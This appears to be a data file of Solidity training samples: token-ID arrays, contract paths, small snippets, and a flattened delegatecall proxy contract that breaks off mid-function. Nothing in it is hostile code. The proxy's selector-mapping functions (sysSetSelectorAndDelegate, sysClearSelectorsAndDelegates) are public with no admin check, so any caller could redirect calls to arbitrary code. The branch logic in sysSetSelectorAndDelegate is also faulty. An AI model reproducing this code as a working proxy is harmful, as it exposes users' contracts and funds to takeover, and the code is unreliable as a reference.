[ 1, 67, 2080, 1887, 1758, 628, 1625, 326, 16255, 711, 2118, 2731, 225, 389, 8949, 3844, 434, 326, 16255, 316, 732, 77, 358, 14196, 19, 2073, 309, 326, 389, 2080, 1887, 353, 279, 8843, 25521, 548, 509, 2313, 358, 1699, 300, 21, 460, 309, 486, 1599, 6138, 6944, 316, 326, 8843, 1340, 25754, 6138, 336, 326, 8843, 1340, 1016, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16255, 3061, 12, 203, 3639, 1731, 1578, 389, 2293, 548, 16, 203, 3639, 1758, 389, 2080, 1887, 16, 203, 3639, 2254, 5034, 389, 8949, 13, 203, 3639, 2713, 203, 565, 288, 203, 3639, 2583, 12, 2293, 4670, 18, 588, 1119, 24899, 2293, 548, 13, 480, 1567, 4670, 18, 1119, 18, 23163, 16, 315, 2293, 1410, 486, 506, 17271, 8863, 203, 203, 3639, 509, 2313, 8843, 1340, 1016, 273, 590, 4670, 18, 588, 9148, 1340, 1016, 24899, 2293, 548, 16, 389, 2080, 1887, 1769, 203, 3639, 309, 261, 10239, 1340, 1016, 411, 374, 13, 288, 203, 5411, 2254, 28, 8843, 25521, 1380, 273, 590, 4670, 18, 588, 1676, 9148, 25521, 1380, 24899, 2293, 548, 2934, 1289, 12, 21, 1769, 203, 203, 5411, 364, 261, 11890, 28, 277, 273, 374, 31, 277, 411, 8843, 25521, 1380, 597, 8843, 1340, 1016, 422, 300, 21, 31, 277, 273, 277, 18, 1289, 12, 21, 3719, 288, 203, 7734, 309, 261, 10239, 25521, 6032, 1887, 63, 67, 2293, 548, 6362, 77, 65, 422, 389, 2080, 1887, 13, 288, 203, 10792, 8843, 1340, 1016, 273, 509, 2313, 12, 77, 1769, 203, 7734, 289, 203, 5411, 289, 203, 3639, 289, 203, 203, 203, 3639, 309, 261, 2867, 774, 9148, 422, 374, 13, 288, 203, 5411, 1758, 774, 9148, 273, 590, 4670, 18, 588, 52, 1773, 24899, 2293, 548, 1769, 203, 3639, 289, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xfeb76dccB120688A29315098E38eF06d19C62F8f/sources/project_/contracts/lib/AddressSet.sol
* @notice insert a key. @dev duplicate keys are not permitted. @param self storage pointer to a Set. @param key value to insert./
function insert(Set storage self, address key) internal { require(!exists(self, key), "AddressSet: key already exists in the set."); self.keyPointers[key] = self.keyList.length; self.keyList.push(key); }
5,652,190
[ 1, 6387, 279, 498, 18, 225, 6751, 1311, 854, 486, 15498, 18, 225, 365, 2502, 4407, 358, 279, 1000, 18, 225, 498, 460, 358, 2243, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2243, 12, 694, 2502, 365, 16, 1758, 498, 13, 2713, 288, 203, 3639, 2583, 12, 5, 1808, 12, 2890, 16, 498, 3631, 315, 1887, 694, 30, 498, 1818, 1704, 316, 326, 444, 1199, 1769, 203, 3639, 365, 18, 856, 27452, 63, 856, 65, 273, 365, 18, 856, 682, 18, 2469, 31, 203, 3639, 365, 18, 856, 682, 18, 6206, 12, 856, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x911877A6711D1c7B0acB7d05517025C55BeEb71C/sources/BurnableERC20.sol
* @title BurnableERC20 @dev Implementation of the BurnableERC20/
contract BurnableERC20 is ERC20Burnable, ServicePayer { constructor ( string memory name, string memory symbol, uint8 decimals, uint256 initialBalance, address payable feeReceiver ) ERC20(name, symbol) ServicePayer(feeReceiver, "BurnableERC20") payable { require(initialBalance > 0, "BurnableERC20: supply cannot be zero"); _setupDecimals(decimals); _mint(_msgSender(), initialBalance); } }
9,387,139
[ 1, 38, 321, 429, 654, 39, 3462, 225, 25379, 434, 326, 605, 321, 429, 654, 39, 3462, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 321, 429, 654, 39, 3462, 353, 4232, 39, 3462, 38, 321, 429, 16, 1956, 52, 1773, 288, 203, 203, 565, 3885, 261, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 16, 203, 3639, 2254, 28, 15105, 16, 203, 3639, 2254, 5034, 2172, 13937, 16, 203, 3639, 1758, 8843, 429, 14036, 12952, 203, 565, 262, 203, 3639, 4232, 39, 3462, 12, 529, 16, 3273, 13, 203, 3639, 1956, 52, 1773, 12, 21386, 12952, 16, 315, 38, 321, 429, 654, 39, 3462, 7923, 203, 3639, 8843, 429, 203, 203, 565, 288, 203, 3639, 2583, 12, 6769, 13937, 405, 374, 16, 315, 38, 321, 429, 654, 39, 3462, 30, 14467, 2780, 506, 3634, 8863, 203, 203, 3639, 389, 8401, 31809, 12, 31734, 1769, 203, 3639, 389, 81, 474, 24899, 3576, 12021, 9334, 2172, 13937, 1769, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Sources flattened with hardhat v2.1.2 https://hardhat.org // File contracts/proxy/Base.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract Base { constructor () public { } //0x20 - length //0x53c6eaee8696e4c5200d3d231b29cc6a40b3893a5ae1536b0ac08212ffada877 bytes constant notFoundMark = abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("404-method-not-found"))))))); //return the payload of returnData, stripe the leading length function returnAsm(bool isRevert, bytes memory returnData) pure internal { assembly{ let length := mload(returnData) switch isRevert case 0x00{ return (add(returnData, 0x20), length) } default{ revert (add(returnData, 0x20), length) } } } modifier nonPayable(){ require(msg.value == 0, "nonPayable"); _; } } // File contracts/proxy/SlotData.sol contract SlotData { constructor() public {} // for map, key could be 0x00, but value can't be 0x00; // if value == 0x00, it mean the key doesn't has any value function sysMapSet(bytes32 mappingSlot, bytes32 key, bytes32 value) internal returns (uint256 length){ length = sysMapLen(mappingSlot); bytes32 elementOffset = sysCalcMapOffset(mappingSlot, key); bytes32 storedValue = sysLoadSlotData(elementOffset); if (value == storedValue) { //if value == 0 & storedValue == 0 //if value == storedValue != 0 //needn't set same value; } else if (value == bytes32(0x00)) { //storedValue != 0 //deleting value sysSaveSlotData(elementOffset, value); length--; sysSaveSlotData(mappingSlot, bytes32(length)); } else if (storedValue == bytes32(0x00)) { //value != 0 //adding new value sysSaveSlotData(elementOffset, value); length++; sysSaveSlotData(mappingSlot, bytes32(length)); } else { //value != storedValue & value != 0 & storedValue !=0 //updating sysSaveSlotData(elementOffset, value); } return length; } function sysMapGet(bytes32 mappingSlot, bytes32 key) internal view returns (bytes32){ bytes32 elementOffset = sysCalcMapOffset(mappingSlot, key); return sysLoadSlotData(elementOffset); } function sysMapLen(bytes32 mappingSlot) internal view returns (uint256){ return uint256(sysLoadSlotData(mappingSlot)); } function sysLoadSlotData(bytes32 slot) internal view returns (bytes32){ //ask a stack position bytes32 ret; assembly{ ret := sload(slot) } return ret; } function sysSaveSlotData(bytes32 slot, bytes32 data) internal { assembly{ sstore(slot, data) } } function sysCalcMapOffset(bytes32 mappingSlot, bytes32 key) internal pure returns (bytes32){ return bytes32(keccak256(abi.encodePacked(key, mappingSlot))); } function sysCalcSlot(bytes memory name) public pure returns (bytes32){ return keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(name)))))); } function calcNewSlot(bytes32 slot, string memory name) internal pure returns (bytes32){ return keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(slot, name)))))); } } // File contracts/proxy/EnhancedMap.sol //this is just a normal mapping, but which holds size and you can specify slot /* both key and value shouldn't be 0x00 the key must be unique, the value would be whatever slot key --- value a --- 1 b --- 2 c --- 3 c --- 4 X not allowed d --- 3 e --- 0 X not allowed 0 --- 9 X not allowed */ contract EnhancedMap is SlotData { constructor() public {} //set value to 0x00 to delete function sysEnhancedMapSet(bytes32 slot, bytes32 key, bytes32 value) internal { require(key != bytes32(0x00), "sysEnhancedMapSet, notEmptyKey"); sysMapSet(slot, key, value); } function sysEnhancedMapAdd(bytes32 slot, bytes32 key, bytes32 value) internal { require(key != bytes32(0x00), "sysEnhancedMapAdd, notEmptyKey"); require(value != bytes32(0x00), "EnhancedMap add, the value shouldn't be empty"); require(sysMapGet(slot, key) == bytes32(0x00), "EnhancedMap, the key already has value, can't add duplicate key"); sysMapSet(slot, key, value); } function sysEnhancedMapDel(bytes32 slot, bytes32 key) internal { require(key != bytes32(0x00), "sysEnhancedMapDel, notEmptyKey"); require(sysMapGet(slot, key) != bytes32(0x00), "sysEnhancedMapDel, the key doesn't has value, can't delete empty key"); sysMapSet(slot, key, bytes32(0x00)); } function sysEnhancedMapReplace(bytes32 slot, bytes32 key, bytes32 value) public { require(key != bytes32(0x00), "sysEnhancedMapReplace, notEmptyKey"); require(value != bytes32(0x00), "EnhancedMap replace, the value shouldn't be empty"); require(sysMapGet(slot, key) != bytes32(0x00), "EnhancedMap, the key doesn't has value, can't replace it"); sysMapSet(slot, key, value); } function sysEnhancedMapGet(bytes32 slot, bytes32 key) internal view returns (bytes32){ require(key != bytes32(0x00), "sysEnhancedMapGet, notEmptyKey"); return sysMapGet(slot, key); } function sysEnhancedMapSize(bytes32 slot) internal view returns (uint256){ return sysMapLen(slot); } } // File contracts/proxy/EnhancedUniqueIndexMap.sol //once you input a value, it will auto generate an index for that //index starts from 1, 0 means this value doesn't exist //the value must be unique, and can't be 0x00 //the index must be unique, and can't be 0x00 /* slot value --- index a --- 1 b --- 2 c --- 3 c --- 4 X not allowed d --- 3 X not allowed e --- 0 X not allowed indexSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(slot)))))); index --- value 1 --- a 2 --- b 3 --- c 3 --- d X not allowed */ contract EnhancedUniqueIndexMap is SlotData { constructor() public {} // slot : value => index function sysUniqueIndexMapAdd(bytes32 slot, bytes32 value) internal { require(value != bytes32(0x00)); bytes32 indexSlot = calcIndexSlot(slot); uint256 index = uint256(sysMapGet(slot, value)); require(index == 0, "sysUniqueIndexMapAdd, value already exist"); uint256 last = sysUniqueIndexMapSize(slot); last ++; sysMapSet(slot, value, bytes32(last)); sysMapSet(indexSlot, bytes32(last), value); } function sysUniqueIndexMapDel(bytes32 slot, bytes32 value) internal { //require(value != bytes32(0x00), "sysUniqueIndexMapDel, value must not be 0x00"); bytes32 indexSlot = calcIndexSlot(slot); uint256 index = uint256(sysMapGet(slot, value)); require(index != 0, "sysUniqueIndexMapDel, value doesn't exist"); uint256 lastIndex = sysUniqueIndexMapSize(slot); require(lastIndex > 0, "sysUniqueIndexMapDel, lastIndex must be large than 0, this must not happen"); if (index != lastIndex) { bytes32 lastValue = sysMapGet(indexSlot, bytes32(lastIndex)); //move the last to the current place //this would be faster than move all elements forward after the deleting one, but not stable(the sequence will change) sysMapSet(slot, lastValue, bytes32(index)); sysMapSet(indexSlot, bytes32(index), lastValue); } sysMapSet(slot, value, bytes32(0x00)); sysMapSet(indexSlot, bytes32(lastIndex), bytes32(0x00)); } function sysUniqueIndexMapDelArrange(bytes32 slot, bytes32 value) internal { require(value != bytes32(0x00), "sysUniqueIndexMapDelArrange, value must not be 0x00"); bytes32 indexSlot = calcIndexSlot(slot); uint256 index = uint256(sysMapGet(slot, value)); require(index != 0, "sysUniqueIndexMapDelArrange, value doesn't exist"); uint256 lastIndex = (sysUniqueIndexMapSize(slot)); require(lastIndex > 0, "sysUniqueIndexMapDelArrange, lastIndex must be large than 0, this must not happen"); sysMapSet(slot, value, bytes32(0x00)); while (index < lastIndex) { bytes32 nextValue = sysMapGet(indexSlot, bytes32(index + 1)); sysMapSet(indexSlot, bytes32(index), nextValue); sysMapSet(slot, nextValue, bytes32(index)); index ++; } sysMapSet(indexSlot, bytes32(lastIndex), bytes32(0x00)); } function sysUniqueIndexMapReplace(bytes32 slot, bytes32 oldValue, bytes32 newValue) internal { require(oldValue != bytes32(0x00), "sysUniqueIndexMapReplace, oldValue must not be 0x00"); require(newValue != bytes32(0x00), "sysUniqueIndexMapReplace, newValue must not be 0x00"); bytes32 indexSlot = calcIndexSlot(slot); uint256 index = uint256(sysMapGet(slot, oldValue)); require(index != 0, "sysUniqueIndexMapDel, oldValue doesn't exists"); require(uint256(sysMapGet(slot, newValue)) == 0, "sysUniqueIndexMapDel, newValue already exists"); sysMapSet(slot, oldValue, bytes32(0x00)); sysMapSet(slot, newValue, bytes32(index)); sysMapSet(indexSlot, bytes32(index), newValue); } //============================view & pure============================ function sysUniqueIndexMapSize(bytes32 slot) internal view returns (uint256){ return sysMapLen(slot); } //returns index, 0 mean not exist function sysUniqueIndexMapGetIndex(bytes32 slot, bytes32 value) internal view returns (uint256){ return uint256(sysMapGet(slot, value)); } function sysUniqueIndexMapGetValue(bytes32 slot, uint256 index) internal view returns (bytes32){ bytes32 indexSlot = calcIndexSlot(slot); return sysMapGet(indexSlot, bytes32(index)); } // index => value function calcIndexSlot(bytes32 slot) internal pure returns (bytes32){ return calcNewSlot(slot, "index"); } } // File contracts/proxy/Proxy.sol contract Proxy is Base, EnhancedMap, EnhancedUniqueIndexMap { constructor (address admin) public { require(admin != address(0)); sysSaveSlotData(adminSlot, bytes32(uint256(admin))); sysSaveSlotData(userSigZeroSlot, bytes32(uint256(0))); sysSaveSlotData(outOfServiceSlot, bytes32(uint256(0))); sysSaveSlotData(revertMessageSlot, bytes32(uint256(1))); //sysSetDelegateFallback(address(0)); sysSaveSlotData(transparentSlot, bytes32(uint256(1))); } bytes32 constant adminSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("adminSlot")))))); bytes32 constant revertMessageSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("revertMessageSlot")))))); bytes32 constant outOfServiceSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("outOfServiceSlot")))))); //address <===> index EnhancedUniqueIndexMap //0x2f80e9a12a11b80d2130b8e7dfc3bb1a6c04d0d87cc5c7ea711d9a261a1e0764 bytes32 constant delegatesSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("delegatesSlot")))))); //bytes4 abi ===> address, both not 0x00 //0xba67a9e2b7b43c3c9db634d1c7bcdd060aa7869f4601d292a20f2eedaf0c2b1c bytes32 constant userAbiSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("userAbiSlot")))))); bytes32 constant userAbiSearchSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("userAbiSearchSlot")))))); //0xe2bb2e16cbb16a10fab839b4a5c3820d63a910f4ea675e7821846c4b2d3041dc bytes32 constant userSigZeroSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("userSigZeroSlot")))))); bytes32 constant transparentSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("transparentSlot")))))); event DelegateSet(address delegate, bool activated); event AbiSet(bytes4 abi, address delegate, bytes32 slot); event PrintBytes(bytes data); //=================================================================================== // function sysCountDelegate() public view returns (uint256){ return sysUniqueIndexMapSize(delegatesSlot); } function sysGetDelegateAddress(uint256 index) public view returns (address){ return address(uint256(sysUniqueIndexMapGetValue(delegatesSlot, index))); } function sysGetDelegateIndex(address addr) public view returns (uint256) { return uint256(sysUniqueIndexMapGetIndex(delegatesSlot, bytes32(uint256(addr)))); } function sysGetDelegateAddresses() public view returns (address[] memory){ uint256 count = sysCountDelegate(); address[] memory delegates = new address[](count); for (uint256 i = 0; i < count; i++) { delegates[i] = sysGetDelegateAddress(i + 1); } return delegates; } //add delegates on current version function sysAddDelegates(address[] memory _inputs) public onlyAdmin { for (uint256 i = 0; i < _inputs.length; i ++) { sysUniqueIndexMapAdd(delegatesSlot, bytes32(uint256(_inputs[i]))); emit DelegateSet(_inputs[i], true); } } //delete delegates //be careful, if you delete a delegate, the index will change function sysDelDelegates(address[] memory _inputs) public onlyAdmin { for (uint256 i = 0; i < _inputs.length; i ++) { //travers all abis to delete those abis mapped to the given address uint256 j; uint256 k; /*bytes4[] memory toDeleteSelectors = new bytes4[](count + 1); uint256 pivot = 0;*/ uint256 count = sysCountSelectors(); /*for (j = 0; j < count; j ++) { bytes4 selector; address delegate; (selector, delegate) = sysGetUserSelectorAndDelegateByIndex(j + 1); if (delegate == _inputs[i]) { toDeleteSelectors[pivot] = selector; pivot++; } } pivot = 0; while (toDeleteSelectors[pivot] != bytes4(0x00)) { sysSetUserSelectorAndDelegate(toDeleteSelectors[pivot], address(0)); pivot++; }*/ k = 1; for (j = 0; j < count; j++) { bytes4 selector; address delegate; (selector, delegate) = sysGetSelectorAndDelegateByIndex(k); if (delegate == _inputs[i]) { sysSetSelectorAndDelegate(selector, address(0)); } else { k++; } } if (sysGetSigZero() == _inputs[i]) { sysSetSigZero(address(0x00)); } sysUniqueIndexMapDelArrange(delegatesSlot, bytes32(uint256(_inputs[i]))); emit DelegateSet(_inputs[i], false); } } //add and delete delegates function sysReplaceDelegates(address[] memory _delegatesToDel, address[] memory _delegatesToAdd) public onlyAdmin { require(_delegatesToDel.length == _delegatesToAdd.length, "sysReplaceDelegates, length does not match"); for (uint256 i = 0; i < _delegatesToDel.length; i ++) { sysUniqueIndexMapReplace(delegatesSlot, bytes32(uint256(_delegatesToDel[i])), bytes32(uint256(_delegatesToAdd[i]))); emit DelegateSet(_delegatesToDel[i], false); emit DelegateSet(_delegatesToAdd[i], true); } } //============================================= function sysGetSigZero() public view returns (address){ return address(uint256(sysLoadSlotData(userSigZeroSlot))); } function sysSetSigZero(address _input) public onlyAdmin { sysSaveSlotData(userSigZeroSlot, bytes32(uint256(_input))); } function sysGetAdmin() public view returns (address){ return address(uint256(sysLoadSlotData(adminSlot))); } function sysSetAdmin(address _input) external onlyAdmin { sysSaveSlotData(adminSlot, bytes32(uint256(_input))); } function sysGetRevertMessage() public view returns (uint256){ return uint256(sysLoadSlotData(revertMessageSlot)); } function sysSetRevertMessage(uint256 _input) external onlyAdmin { sysSaveSlotData(revertMessageSlot, bytes32(_input)); } function sysGetOutOfService() public view returns (uint256){ return uint256(sysLoadSlotData(outOfServiceSlot)); } function sysSetOutOfService(uint256 _input) external onlyAdmin { sysSaveSlotData(outOfServiceSlot, bytes32(_input)); } function sysGetTransparent() public view returns (uint256){ return uint256(sysLoadSlotData(transparentSlot)); } function sysSetTransparent(uint256 _input) public onlyAdmin { sysSaveSlotData(transparentSlot, bytes32(_input)); } //============================================= //abi and delegates should not be 0x00 in mapping; //set delegate to 0x00 for delete the entry function sysSetSelectorsAndDelegates(bytes4[] memory selectors, address[] memory delegates) public onlyAdmin { require(selectors.length == delegates.length, "sysSetUserSelectorsAndDelegates, length does not matchs"); for (uint256 i = 0; i < selectors.length; i ++) { sysSetSelectorAndDelegate(selectors[i], delegates[i]); } } function sysSetSelectorAndDelegate(bytes4 selector, address delegate) public { require(selector != bytes4(0x00), "sysSetSelectorAndDelegate, selector should not be selector"); //require(delegates[i] != address(0x00)); address oldDelegate = address(uint256(sysEnhancedMapGet(userAbiSlot, bytes32(selector)))); if (oldDelegate == delegate) { //if oldDelegate == 0 & delegate == 0 //if oldDelegate == delegate != 0 //do nothing here } if (oldDelegate == address(0x00)) { //delegate != 0 //adding new value sysEnhancedMapAdd(userAbiSlot, bytes32(selector), bytes32(uint256(delegate))); sysUniqueIndexMapAdd(userAbiSearchSlot, bytes32(selector)); } if (delegate == address(0x00)) { //oldDelegate != 0 //deleting new value sysEnhancedMapDel(userAbiSlot, bytes32(selector)); sysUniqueIndexMapDel(userAbiSearchSlot, bytes32(selector)); } else { //oldDelegate != delegate & oldDelegate != 0 & delegate !=0 //updating sysEnhancedMapReplace(userAbiSlot, bytes32(selector), bytes32(uint256(delegate))); } } function sysGetDelegateBySelector(bytes4 selector) public view returns (address){ return address(uint256(sysEnhancedMapGet(userAbiSlot, bytes32(selector)))); } function sysCountSelectors() public view returns (uint256){ return sysEnhancedMapSize(userAbiSlot); } function sysGetSelector(uint256 index) public view returns (bytes4){ bytes4 selector = bytes4(sysUniqueIndexMapGetValue(userAbiSearchSlot, index)); return selector; } function sysGetSelectorAndDelegateByIndex(uint256 index) public view returns (bytes4, address){ bytes4 selector = sysGetSelector(index); address delegate = sysGetDelegateBySelector(selector); return (selector, delegate); } function sysGetSelectorsAndDelegates() public view returns (bytes4[] memory selectors, address[] memory delegates){ uint256 count = sysCountSelectors(); selectors = new bytes4[](count); delegates = new address[](count); for (uint256 i = 0; i < count; i ++) { (selectors[i], delegates[i]) = sysGetSelectorAndDelegateByIndex(i + 1); } } function sysClearSelectorsAndDelegates() public { uint256 count = sysCountSelectors(); for (uint256 i = 0; i < count; i ++) { bytes4 selector; address delegate; //always delete the first, after 'count' times, it will clear all (selector, delegate) = sysGetSelectorAndDelegateByIndex(1); sysSetSelectorAndDelegate(selector, address(0x00)); } } //=====================internal functions===================== receive() payable external { process(); } fallback() payable external { process(); } //since low-level address.delegateCall is available in solidity, //we don't need to write assembly function process() internal outOfService { if (msg.sender == sysGetAdmin() && sysGetTransparent() == 1) { revert("admin cann't call normal function in Transparent mode"); } /* the default transfer will set data to empty, so that the msg.data.length = 0 and msg.sig = bytes4(0x00000000), however some one can manually set msg.sig to 0x00000000 and tails more man-made data, so here we have to forward all msg.data to delegates */ address targetDelegate; //for look-up table /* if (msg.sig == bytes4(0x00000000)) { targetDelegate = sysGetUserSigZero(); if (targetDelegate != address(0x00)) { delegateCallExt(targetDelegate, msg.data); } targetDelegate = sysGetSystemSigZero(); if (targetDelegate != address(0x00)) { delegateCallExt(targetDelegate, msg.data); } } else { targetDelegate = sysGetUserDelegate(msg.sig); if (targetDelegate != address(0x00)) { delegateCallExt(targetDelegate, msg.data); } //check system abi look-up table targetDelegate = sysGetSystemDelegate(msg.sig); if (targetDelegate != address(0x00)) { delegateCallExt(targetDelegate, msg.data); } }*/ if (msg.sig == bytes4(0x00000000)) { targetDelegate = sysGetSigZero(); if (targetDelegate != address(0x00)) { delegateCallExt(targetDelegate, msg.data); } } else { targetDelegate = sysGetDelegateBySelector(msg.sig); if (targetDelegate != address(0x00)) { delegateCallExt(targetDelegate, msg.data); } } //goes here means this abi is not in the system abi look-up table discover(); //hit here means not found selector if (sysGetRevertMessage() == 1) { revert(string(abi.encodePacked(sysPrintAddressToHex(address(this)), ", function selector not found : ", sysPrintBytes4ToHex(msg.sig)))); } else { revert(); } } function discover() internal { bool found = false; bool error; bytes memory returnData; address targetDelegate; uint256 len = sysCountDelegate(); for (uint256 i = 0; i < len; i++) { targetDelegate = sysGetDelegateAddress(i + 1); (found, error, returnData) = redirect(targetDelegate, msg.data); if (found) { /*if (msg.sig == bytes4(0x00000000)) { sysSetSystemSigZero(targetDelegate); } else { sysSetSystemSelectorAndDelegate(msg.sig, targetDelegate); }*/ returnAsm(error, returnData); } } } function delegateCallExt(address targetDelegate, bytes memory callData) internal { bool found = false; bool error; bytes memory returnData; (found, error, returnData) = redirect(targetDelegate, callData); require(found, "delegateCallExt to a delegate in the map but finally not found, this shouldn't happen"); returnAsm(error, returnData); } //since low-level ```<address>.delegatecall(bytes memory) returns (bool, bytes memory)``` can return returndata, //we use high-level solidity for better reading function redirect(address delegateTo, bytes memory callData) 